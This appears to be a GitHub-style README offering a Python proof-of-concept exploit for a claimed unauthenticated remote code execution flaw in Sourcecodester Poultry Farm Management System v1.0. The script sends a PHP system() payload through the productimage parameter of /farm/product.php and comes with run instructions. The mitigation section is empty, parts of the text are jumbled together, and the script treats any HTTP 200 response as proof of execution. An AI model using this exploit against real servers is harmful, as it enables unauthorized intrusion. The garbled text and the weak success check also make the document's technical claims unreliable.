
Proof-of-concept script demonstrating unauthenticated remote code execution in Sourcecodester Poultry Farm Management System via the vulnerable productimage parameter.
This repository contains a Proof of Concept (PoC) script demonstrating an unauthenticated remote code execution (RCE) vulnerability in Sourcecodester Poultry Farm Management System v1.0. The vulnerability exists in the productimage parameter at /farm/product.php, allowing an attacker to execute arbitrary code on the server.
CVE-ID: (Pending)
Overview:
Sourcecodester Poultry Farm Management System v1.0 contains an unauthenticated remote code execution (RCE) vulnerability via the productimage parameter at . This vulnerability allows an attacker to execute arbitrary code on the server without authentication.
/farm/product.phpAffected Version:
requests library (pip install requests)This script demonstrates how an attacker can exploit the RCE vulnerability by sending a malicious request to the vulnerable parameter.
Save the following script as rce_poc.py and run it.
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url to the URL of the vulnerable server's /farm/product.php endpoint.productimage parameter.exploit_rce() function sends the malicious request to the target URL and prints the response details.To mitigate this vulnerability, apply the following steps:
By following these mitigation steps and security best practices, you can prevent vulnerabilities such as this RCE issue in Sourcecodester Poultry Farm Management System v1.0.